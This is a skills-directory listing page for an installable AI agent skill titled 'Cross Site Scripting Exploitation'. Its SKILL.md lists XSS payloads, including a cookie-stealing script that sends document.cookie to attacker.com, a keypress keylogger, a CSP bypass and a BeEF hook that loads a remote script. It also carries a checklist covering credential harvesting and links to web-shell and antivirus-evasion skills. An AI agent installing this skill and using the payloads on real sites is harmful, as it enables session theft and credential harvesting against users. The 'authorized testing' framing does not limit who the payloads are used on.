Skip to content
Back to skills

Cross Site Scripting Exploitation

ASecurity

Use when exploiting XSS vulnerabilities.

  • 2 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 10, 2026
securitypythonshellsqlangulartestingsecurity

Works with

  • cli

Security analysis

A100/100

Scanned September 10, 2026

npx -y skills add LoopyLuci/Skills --skill cross-site-scripting-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cross Site Scripting Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Cross Site Scripting Exploitation
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/loopyluci-cross-site-scripting-exploitation/badge)](https://www.skillsdirectory.com/skills/loopyluci-cross-site-scripting-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: cross-site-scripting-exploitation
description: "Use when exploiting XSS vulnerabilities."
version: 1.0.0
author: Hermes Agent
license: MIT
metadata:
  hermes:
    tags: [XSS, cross-site-scripting, stored, reflected, DOM-based, CSP-bypass, cookie-steal]
    related_skills: [sql-injection-exploitation, webapp-penetration-testing, web-shell-deployment, evasion-techniques-av-bypass]
---

# Cross-Site Scripting Exploitation

Exploiting XSS vulnerabilities — from reflected, stored, and DOM-based through CSP bypass, session hijacking, keylogging, and BeEF integration.

## When to Use

- Detecting and exploiting XSS vulnerabilities
- Bypassing CSP (Content Security Policy)
- Session hijacking via XSS
- XSS for phishing and credential harvesting (authorized testing)

## XSS Payloads

```python
XSS_TYPES = {
    'reflected': "Payload in URL/parameter, reflected immediately in response",
    'stored': "Payload stored on server (comments, profiles), served to all visitors",
    'dom_based': "Payload executed via client-side JS (URL fragment, eval, innerHTML)",
}

XSS_PAYLOADS = {
    'basic_alert': "<script>alert(1)</script>",
    'img_onerror': "<img src=x onerror=alert(1)>",
    'svg_onload': "<svg/onload=alert(1)>",
    'body_onload': "<body onload=alert(1)>",
    'iframe': "<iframe onload=alert(1)>",
    'csp_bypass': "<script src='https://cdn.example.com/angular.js' onload=angular.module('x').run()></script>",
    'cookie_steal': "<script>fetch('https://attacker.com/c?'+document.cookie)</script>",
    'keylogger': "<script>document.onkeypress=e=>fetch('/log?k='+e.key)</script>",
}

# BeEF hook URL
BEEF_HOOK = "<script src='https://attacker.com/hook.js'></script>"
```

## Verification Checklist

- [ ] XSS type identified (reflected, stored, DOM-based)
- [ ] Context determined (HTML, attribute, JS, CSS, URL)
- [ ] Basic payload confirmed (<script>alert(1)</script>)
- [ ] WAF/CSP bypass attempted
- [ ] Impact demonstrated (cookie stealing, page defacement, keylogging)
- [ ] BeEF hook deployed for browser exploitation (if scoped)
- [ ] Credential harvesting PoC (authorized targets only)
- [ ] Self-XSS distinguished from actual vulnerability
- [ ] Remediation guidance provided (output encoding, CSP, input validation)

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.